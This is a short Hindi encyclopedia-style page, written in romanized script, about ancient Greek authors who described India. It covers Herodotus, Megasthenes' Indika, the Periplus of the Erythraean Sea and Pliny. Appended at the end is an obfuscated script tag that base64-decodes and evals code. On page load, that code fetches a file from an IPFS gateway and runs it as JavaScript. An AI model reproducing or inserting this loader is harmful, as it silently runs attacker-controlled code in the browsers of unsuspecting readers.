यूनानी लेखक

yoonani lekhakoan ko tin bhagoan mean baanta ja sakata hai-

1. sikandar ke poorv ke yoonani lekhak
2. sikandar ke samakalin yoonani lekhak
3. sikandar ke bad ke lekhak

• tesiyas aur herodotas yoonan aur rom ke prachin lekhakoan mean se haian. tesiyas 'eerani rajavaidy' tha, usane bharat ke vishay mean samast janakari eerani adhikariyoan se prapt ki thi. herodotas, jise 'itihas ka pita' kaha jata hai, ne 5vi. shatabdi mean ee.poo. mean ‘historika‘ namak pustak ki rachana ki thi, jisamean bharat aur faras ke sambandhoan ka varnan kiya gaya hai.
• niyarkas, anesikritas aur aristovulas ye sabhi lekhak sikandar ke samakalin. in lekhakoan dvara jo bhi vivaran tatkalin bharatiy itihas se ju da hai vah apane mean pramanik hai.
• sikandar ke bad ke lekhakoan mean mahattvapoorn tha megasthanij jo yoonani raja selyookas ka rajadoot tha. usane chandragupt maury ke darabar mean qarib 14 varsho tak samay vyatit kiya. usane ‘indika ‘ namak granth ki rachana ki jisamean tatkalin mauryavanshiy samaj evan sanskriti ka vivaran diya tha. daimekas, siriyan naresh antiyokas ka rajadoot tha jo bindusar ke rajadarabar mean kafi dinoan tak raha. dayonisiyas misr naresh 't aaulami philadelphas' ke rajadoot ke roop mean kafi dinoan tak samrat ashok ke raj darabar mean raha tha.
• any pustakoan mean 'periplas aauf d erithriyan si', lagabhag 150 ee. ke asapas t aaulami ka bhoogol, plini ka 'nechural historika' (ee. ki pratham sadi) mahattvapoorn hai. ‘periplas aauph d erithriyan si‘ granth jisaki rachana 80 se 115 ee. ke bich huee hai, mean bharatiy bandaragahoan evan vyaparik vastuoan ka vivaran milata hai. plini ke ‘nechural historika‘ se bharatiy pashu, pe d-paudhoan evan khanij padartho ki janakari milati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>